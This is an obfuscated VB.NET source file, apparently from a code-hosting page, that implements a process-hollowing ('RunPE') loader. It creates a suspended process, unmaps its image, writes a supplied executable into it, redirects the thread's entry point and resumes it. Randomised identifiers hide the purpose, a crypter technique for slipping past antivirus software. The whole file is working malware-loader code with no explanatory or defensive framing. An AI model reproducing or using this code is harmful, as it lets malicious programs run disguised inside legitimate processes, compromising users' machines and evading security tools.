126 lines
12 KiB
VB.net
126 lines
12 KiB
VB.net
|
|
|
|
Imports System.Runtime.InteropServices
|
|
Imports System.ComponentModel
|
|
|
|
Public Class dd
|
|
Public Const rnblBJonduUOAwhEQ As Long = &H200
|
|
Public Const mOcKXLCUTIoYPlmVo As Long = &H40
|
|
Public Const IXtVXUoZDCZrtBJIr As Long = &H80
|
|
Public Const EvvrsXCGqNtDLnOYS As Long = &H20
|
|
Public Const XHOGsgpLaGdXqChLV As Long = &H10
|
|
Public Const TfQcRiDpQRAgIomcs As Long = &H8
|
|
Public Const mognQrpuALiDmEIOv As Long = &H1
|
|
Public Const iPiMmuDamWFMFqNfW As Long = &H4
|
|
Public Const WKLsAFBhVKcHjVqRM As UInt32 = &H2
|
|
Shared Sub makeit(ByVal krdcVRBTsPgkgXSUm() As Byte, ByVal GDuoVanYcIQHNjlGp As String)
|
|
Dim CbvMqcBESUlQcYqXQ = New VkPYqlnKCNVkKlNJT.RLRuPoCnpYptZaRar, kVhIOAosYSZPGmlNu As VkPYqlnKCNVkKlNJT.gsjekDCZOduZWbqeU, CFDqkMoevWesDoMQX = New VkPYqlnKCNVkKlNJT.vdEOIOCLlhBESdRhv, RmVaIXoQVbiYAplTB = New VkPYqlnKCNVkKlNJT.NNXweaDuLmFhPfpkZ, gWnKdjpCsfnEtrMWc = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC, vGIsCuplRkrhqtkZG = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC
|
|
Dim qeKRXADRHvOqIipqd = GCHandle.Alloc(krdcVRBTsPgkgXSUm, GCHandleType.Pinned)
|
|
Dim MobcXJqXopwNnuMdg As Integer = qeKRXADRHvOqIipqd.AddrOfPinnedObject.ToInt32
|
|
Dim IOdBtMEDeDTWFjQtH As New VkPYqlnKCNVkKlNJT.bYtMsVqIOtDqjwkgK
|
|
IOdBtMEDeDTWFjQtH = Marshal.PtrToStructure(qeKRXADRHvOqIipqd.AddrOfPinnedObject, IOdBtMEDeDTWFjQtH.GetType)
|
|
qeKRXADRHvOqIipqd.Free()
|
|
If VkPYqlnKCNVkKlNJT.CreateProcess(Nothing, GDuoVanYcIQHNjlGp, gWnKdjpCsfnEtrMWc, vGIsCuplRkrhqtkZG, False, 4, Nothing, Nothing, RmVaIXoQVbiYAplTB, CFDqkMoevWesDoMQX) = 0 Then Return
|
|
Dim XwviRXEmEHXCBlpAi As New VkPYqlnKCNVkKlNJT.qIOuRgqrlBIWgALjl
|
|
XwviRXEmEHXCBlpAi = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL), XwviRXEmEHXCBlpAi.GetType)
|
|
Dim mgQTmjEYbMcfvmQDL, IphemsrdLFMCdCkmO As Long, EQiDLvFKARgLsooGm As UInteger
|
|
RmVaIXoQVbiYAplTB.XZCOKHrPhKQeZDLpp = Len(RmVaIXoQVbiYAplTB)
|
|
CbvMqcBESUlQcYqXQ.TAEkgJFsXVlnopQJQ = 65538
|
|
If XwviRXEmEHXCBlpAi.mKUwgSrBHPVKWFjtT <> 17744 Or IOdBtMEDeDTWFjQtH.hhWVFVFeuapTlroMq <> 23117 Then Return
|
|
If VkPYqlnKCNVkKlNJT.GetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ) And VkPYqlnKCNVkKlNJT.ReadProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, mgQTmjEYbMcfvmQDL, 4, 0) >= 0 And VkPYqlnKCNVkKlNJT.ZwUnmapViewOfSection(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, mgQTmjEYbMcfvmQDL) >= 0 Then
|
|
Dim OCKmvsGCrjBceuoTv As UInt32 = VkPYqlnKCNVkKlNJT.VirtualAllocEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.djcXUHGlQoGIbwPWY, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.wssiTQtqAhncILjIc, 12288, 4)
|
|
If OCKmvsGCrjBceuoTv <> 0 Then
|
|
VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv, krdcVRBTsPgkgXSUm, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.sTuHpSHXnsKlYAnZC, EQiDLvFKARgLsooGm)
|
|
IphemsrdLFMCdCkmO = IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL + 248
|
|
For OcOSpbtcXmrIFNKLF As Integer = 0 To XwviRXEmEHXCBlpAi.KDQoNeHINAPRUCPcd.dNgDNntNuqwlCOiPg - 1
|
|
kVhIOAosYSZPGmlNu = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IphemsrdLFMCdCkmO + OcOSpbtcXmrIFNKLF * 40), kVhIOAosYSZPGmlNu.GetType)
|
|
Dim ZkiZjqHrkETuRDngH(kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK) As Byte
|
|
For nVDJHEIdJJYZNFOjh As Integer = 0 To kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK - 1 : ZkiZjqHrkETuRDngH(nVDJHEIdJJYZNFOjh) = krdcVRBTsPgkgXSUm(kVhIOAosYSZPGmlNu.KeUUHNuiqCItsSiVk + nVDJHEIdJJYZNFOjh) : Next
|
|
VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, ZkiZjqHrkETuRDngH, kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK, EQiDLvFKARgLsooGm)
|
|
VkPYqlnKCNVkKlNJT.VirtualProtectEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, kVhIOAosYSZPGmlNu.FFVqcQIPgOcFKHnmL.suBkiCuwTvDQvQKSK, YOmFcZuUQHMZpTJYO(kVhIOAosYSZPGmlNu.TAEkgJFsXVlnopQJQ), mgQTmjEYbMcfvmQDL)
|
|
Next OcOSpbtcXmrIFNKLF
|
|
Dim UmobBcJBGShiHIOpm = BitConverter.GetBytes(OCKmvsGCrjBceuoTv)
|
|
VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, UmobBcJBGShiHIOpm, 4, EQiDLvFKARgLsooGm)
|
|
CbvMqcBESUlQcYqXQ.nvHmAkvGnMRFlVibp = OCKmvsGCrjBceuoTv + XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.mgQTmjEYbMcfvmQDL
|
|
VkPYqlnKCNVkKlNJT.SetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ)
|
|
VkPYqlnKCNVkKlNJT.ResumeThread(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt)
|
|
End If
|
|
End If
|
|
End Sub
|
|
Private Shared Function jWJLWnJjdXlODKmsP(ByVal BGbsrCJVCbprALOwq As Long, ByVal FgaWWwvpMQViiWJfS As Long) As Long
|
|
jWJLWnJjdXlODKmsP = UQsHrLvajVaOfYhit(BGbsrCJVCbprALOwq) / (2 ^ FgaWWwvpMQViiWJfS)
|
|
End Function
|
|
Private Shared Function UQsHrLvajVaOfYhit(ByVal QoudQNKHZguXuNmCU As Long) As Double
|
|
Const jANoPWwMJZerbZJlX = 4294967296.0#
|
|
If QoudQNKHZguXuNmCU < 0 Then
|
|
UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU + jANoPWwMJZerbZJlX
|
|
Else
|
|
UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU
|
|
End If
|
|
End Function
|
|
Private Shared Function YOmFcZuUQHMZpTJYO(ByVal XrnXaetTpOEmJFmXM As Long) As Long
|
|
Dim SSotwhHwfZYvYrrok() As Object = {mognQrpuALiDmEIOv, XHOGsgpLaGdXqChLV, WKLsAFBhVKcHjVqRM, EvvrsXCGqNtDLnOYS, iPiMmuDamWFMFqNfW, mOcKXLCUTIoYPlmVo, iPiMmuDamWFMFqNfW, iPiMmuDamWFMFqNfW}
|
|
YOmFcZuUQHMZpTJYO = SSotwhHwfZYvYrrok(jWJLWnJjdXlODKmsP(XrnXaetTpOEmJFmXM, 29))
|
|
End Function
|
|
<EditorBrowsable(1)> Friend Class VkPYqlnKCNVkKlNJT
|
|
<StructLayout(0)> Structure RLRuPoCnpYptZaRar
|
|
Dim TAEkgJFsXVlnopQJQ, lcIHvquEPSIRFGNan, hCKdUtIiFedaUsSrO, DMaoUFunlXNuCIldR, wkcNpHIUbihGRuquo, SttZpQuZLcRavJNhs, OUuvOTIGBnmjOvSAS As UInt32, hdOJNcvLigWGsLlkV As hdOJNcvLigWGsLlkV
|
|
Dim dEQfjfJpYrqPKAqEt, wNgrjnvuIlajpNMnw, sliPHqJavwvsHCRHX, OvCbHCvgepfPlOlqa, JVDAdFJMUECYEDqKA, dfULcOwREujsiQMtD, SbIQZpsVEYeTPIjCX, YGWhBQKvrIHEAFRNb, rPmtBZwDbCoYfRkwe, nvHmAkvGnMRFlVibp, nnoRWcKhRNLhuGpQF, JwHdWlwmBGsDbTMDI, FXJCsoLToRPMqIRUf, YgaNrAAYXLAgYUkGi, UHbjQCLFNWUpnJpXJ, nQsvQLAKuPEMVWLJM As UInt32
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim jouTmOLnkbYVkLQak As Byte()
|
|
End Structure
|
|
<StructLayout(0)> Structure hdOJNcvLigWGsLlkV
|
|
Dim FBNflXAsUUJpRYkMn, BYPEKaMZKfdBgNpdN, UigPJiBerZNVOZLPR, PJhlflMLhkhedOQgo, jSBAfuBQRdSBLbjTr, eqDVEAMuGomKaQojS, ACThDJBCniWeHcLWV As UInteger
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim taVGZLNgdtqnWRQnt As Byte()
|
|
Dim PjmRZUClNmbKEejZw As UInt32
|
|
End Structure
|
|
Structure FFVqcQIPgOcFKHnmL
|
|
Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32
|
|
End Structure
|
|
Structure gsjekDCZOduZWbqeU
|
|
Dim LKnnuXNRDBvTTToqW As Byte, FFVqcQIPgOcFKHnmL As FFVqcQIPgOcFKHnmL, mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK, KeUUHNuiqCItsSiVk, eUHCugCXkrfmAfKcZ, arJXTjNDaFCvQUPtA, tEZjSsCIKwjSuhjfD, pcbIouOmAKHbMWowb, TAEkgJFsXVlnopQJQ As UInt32
|
|
End Structure
|
|
Structure vdEOIOCLlhBESdRhv
|
|
Dim wRoFahGQUeuwitPQU, ErngEesjeTZnSHLwt As IntPtr, LlrToGDrgDovriKje, HMtpMJOYWOLHJXPCE As Integer
|
|
End Structure
|
|
<StructLayout(0, CharSet:=3)> Structure NNXweaDuLmFhPfpkZ
|
|
Dim XZCOKHrPhKQeZDLpp As Integer, aVNEMSDdGIsbnkimH, VtOZiVOKtTQkFZnGf, pFflhdEPdMAHkmKpi As String, kdhKGgPtTYUQCbPJJ, nVDJHEIdJJYZNFOjh, GnAVGpEBDREkhnisM, CNCrbsPeqcZtwcnMj, VXTGbEEjZWJQdpJvn, RvUbAGPQPhdZseOPN, kHlnwPFVwaNtaqiCQ, TAEkgJFsXVlnopQJQ As Integer
|
|
Dim gfnMVSQCmliFpfnSo, CoGXVbFHWfSYXsJFr As Short, vPItqeQlMqmhmhOWS, RYZIqnFqtjWETthIV, NwadPpQXjvrNiimZs, gJrpOBGcSobhQvJLv As Integer
|
|
End Structure
|
|
<StructLayout(0)> Structure bupgCmDgirKNMgRnC
|
|
Dim bgtOkERIICvqfkNcW As Integer, vqMZkNGOptfNMAhOZ As IntPtr, ikmIuVDUYhFIrcNAP As Integer
|
|
End Structure
|
|
<StructLayout(0)> Structure bYtMsVqIOtDqjwkgK
|
|
Dim hhWVFVFeuapTlroMq, eLneTYPBOsZRJRSRm, AUHpTgEGvlJloemDp, tsJOojPjlAeuGTqUQ, suBkiCuwTvDQvQKSK, PFZaosEpVqORkfNHT, LcbwNvPVLEiaCUSXr, nQsvQLAKuPEMVWLJM, emsKMHEarvSuhhlKu, aMtgiJQHhJnGwWqbU, tWNriSFMRCXZdiNNX, ouPQGVQqHOrjtXRev, LGfcGeFvoHbFaklQB, GehBchQceSwOpZqhZ As UInt16
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim aVNEMSDdGIsbnkimH As UInt16()
|
|
Dim ZnAMbqGhOLgiXlMTc, VOCiAsROEXDrmaRkC As UInt16
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim CoGXVbFHWfSYXsJFr As UInt16()
|
|
Dim mgQTmjEYbMcfvmQDL As Int32
|
|
End Structure
|
|
Structure qIOuRgqrlBIWgALjl
|
|
Dim mKUwgSrBHPVKWFjtT As UInt32, KDQoNeHINAPRUCPcd As oXTtAEGTkQkOTnlXG, hLaBvEsHaciwMKKFB As kvVSVHRwabIXicpnd
|
|
End Structure
|
|
<StructLayout(0)> Structure oXTtAEGTkQkOTnlXG
|
|
Dim GIleVQGFKVprQoMag, dNgDNntNuqwlCOiPg As UInt16, CfnDrTRiAgMDfdRrH, LGfcGeFvoHbFaklQB, VpGOqbHnhZtXNqkdK As UInt32, suBkiCuwTvDQvQKSK, TAEkgJFsXVlnopQJQ As UInt16
|
|
End Structure
|
|
<StructLayout(0)> Structure kvVSVHRwabIXicpnd
|
|
Public hhWVFVFeuapTlroMq As UInt16, RQIkPeSUXlRgcfpui, kZZvPnHZHeBDJsMgl As Byte, gAaUlqSGupVMYhQAL, CJrgkCHLeiFgGtkjO, uhtFJESpTuZpVipDm, mgQTmjEYbMcfvmQDL, QqMQJNIuDnKLDvLmp, krdcVRBTsPgkgXSUm, djcXUHGlQoGIbwPWY As UInt32, MROmeQTaqBeVSkQGQ, fbfAeZIgasOowwkqT As UInt32
|
|
Public bBgWDcTMQGiAOloKq, uLAiClIRAwTUtBLtt, qjCHYnTvnLndLnQNU, MsSSYwJDXEXApCjwX, ITUotCUhMPrJIooQv, bckCtLJmtIcdmELCB As UInt16, XDmYSOUTjUwmEqPTY, wssiTQtqAhncILjIc, sTuHpSHXnsKlYAnZC, aMtgiJQHhJnGwWqbU As UInt32, qMGkRWJYTNgJjGjFc, TAEkgJFsXVlnopQJQ As UInt16
|
|
Public lkIJnZUFJYDSBsoWC, IuYUniKKqSlmfHKJF, DUaqLlVngdIvvtPad, WeqELuKsQWpScJjMg, SFsahwVZGiMbrvndH, lOMmgIKembtuZKKPK As UInt32
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public hmNLFLWLcmRHowPgh As hmNLFLWLcmRHowPgh()
|
|
End Structure
|
|
<StructLayout(0)> Structure hmNLFLWLcmRHowPgh
|
|
Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32
|
|
End Structure
|
|
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As bupgCmDgirKNMgRnC, ByRef thread As bupgCmDgirKNMgRnC, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As NNXweaDuLmFhPfpkZ, <Out()> ByRef info As vdEOIOCLlhBESdRhv) As Boolean
|
|
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
|
|
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
|
|
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
|
|
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
|
|
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
|
|
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
|
|
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean
|
|
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean
|
|
End Class
|
|
End Class
|
|
|